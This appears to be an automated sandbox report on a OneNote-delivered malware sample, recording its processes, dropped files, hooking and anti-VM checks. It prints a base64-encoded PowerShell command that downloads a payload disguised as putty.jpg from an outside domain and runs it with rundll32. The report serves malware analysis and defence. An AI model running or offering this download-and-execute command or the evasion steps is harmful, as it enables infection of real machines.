Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7472:120:WilError_03
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTEM.EXE Mutant created: \Sessions\1\BaseNamedObjects\OneNoteM:AppShared
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7472:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2248:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2708:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3136:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1456:304:WilStaging_02
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Mutant created: \Sessions\1\BaseNamedObjects\Global\{8F23BFA6-4341-4110-A132-4CF36F972AD2}
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6084:304:WilStaging_02
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common Jump to behavior
Source: Binary string: amstream.pdb source: backgroundTaskHost.exe, 0000000E.00000003.5728609829.0000000004551000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wntdll.pdbUGP source: 6153a066.dll.13.dr
Source: Binary string: wntdll.pdb source: 6153a066.dll.13.dr
Source: Binary string: amstream.pdbGCTL source: backgroundTaskHost.exe, 0000000E.00000003.5728609829.0000000004551000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation
barindex
Suspicious powershell command line found
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('DQpAZWNobyBvZmYNCnBvd2Vyc2hlbGwgSW52b2tlLVdlYlJlcXVlc3QgLVVSSSBodHRwczovL3Rhc3NvaW5tb2JpbGlhcmlhLmNvbS81NkcwLzAxLmdpZiAtT3V0RmlsZSBDOlxwcm9ncmFtZGF0YVxwdXR0eS5qcGcNCnJ1bmRsbDMyIEM6XHByb2dyYW1kYXRhXHB1dHR5LmpwZyxXaW5kDQpleGl0DQo='))
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('DQpAZWNobyBvZmYNCnBvd2Vyc2hlbGwgSW52b2tlLVdlYlJlcXVlc3QgLVVSSSBodHRwczovL3Rhc3NvaW5tb2JpbGlhcmlhLmNvbS81NkcwLzAxLmdpZiAtT3V0RmlsZSBDOlxwcm9ncmFtZGF0YVxwdXR0eS5qcGcNCnJ1bmRsbDMyIEM6XHByb2dyYW1kYXRhXHB1dHR5LmpwZyxXaW5kDQpleGl0DQo=')) Jump to behavior
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_693A656F pushad ; ret 13_2_693A6578
Contains functionality to dynamically determine API calls
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_1000970D LoadLibraryA,GetProcAddress, 13_2_1000970D
Binary contains a suspicious time stamp
Source: 6153a066.dll.13.dr Static PE information: 0x8A32A22A [Mon Jun 22 08:22:02 2043 UTC]
PE file contains sections with non-standard names
Source: 6153a066.dll.13.dr Static PE information: section name: RT
Source: 6153a066.dll.13.dr Static PE information: section name: .mrdata
Source: 6153a066.dll.13.dr Static PE information: section name: .00cfg
PE file contains an invalid checksum
Source: putty.jpg.11.dr Static PE information: real checksum: 0x71bb8 should be: 0xb47e
Source: initial sample Static PE information: section name: .text entropy: 6.845118704586284

Persistence and Installation Behavior
barindex
Uses ipconfig to lookup or modify the Windows network settings
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /all
Drops PE files to the application program directory (C:\ProgramData)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\ProgramData\putty.jpg Jump to dropped file
Drops files with a non-matching file extension (content does not match file extension)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\ProgramData\putty.jpg Jump to dropped file
Drops PE files
Source: C:\Windows\SysWOW64\rundll32.exe File created: C:\Users\user\AppData\Local\Temp\6153a066.dll Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\ProgramData\putty.jpg Jump to dropped file

Boot Survival
barindex
Uses whoami command line tool to query computer and username
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process created: C:\Windows\SysWOW64\whoami.exe whoami /all
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process created: C:\Windows\SysWOW64\whoami.exe whoami /all Jump to behavior
Stores files to the Windows start menu directory
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Send to OneNote.lnk Jump to behavior
Creates a start menu entry (Start Menu\Programs\Startup)
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Send to OneNote.lnk Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
DLL reload attack detected
Source: C:\Windows\SysWOW64\rundll32.exe Module Loaded: Original DLL: C:\USERS\user\APPDATA\LOCAL\TEMP\6153A066.DLL reload: C:\WINDOWS\SYSWOW64\NTDLL.DLL
Overwrites code with unconditional jumps - possibly settings hooks in foreign process
Source: C:\Windows\SysWOW64\rundll32.exe Memory written: PID: 4564 base: 201790 value: E9 2E FE 66 02 Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTEM.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\conhost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\conhost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\conhost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\conhost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\conhost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\conhost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\whoami.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\whoami.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: backgroundTaskHost.exe, 0000000E.00000003.5843305920.00000000045BE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: FRIDA-WINJECTOR-HELPER-32.EXE
Queries memory information (via WMI often done to detect virtual machines)
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : select * from Win32_PhysicalMemory
Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)
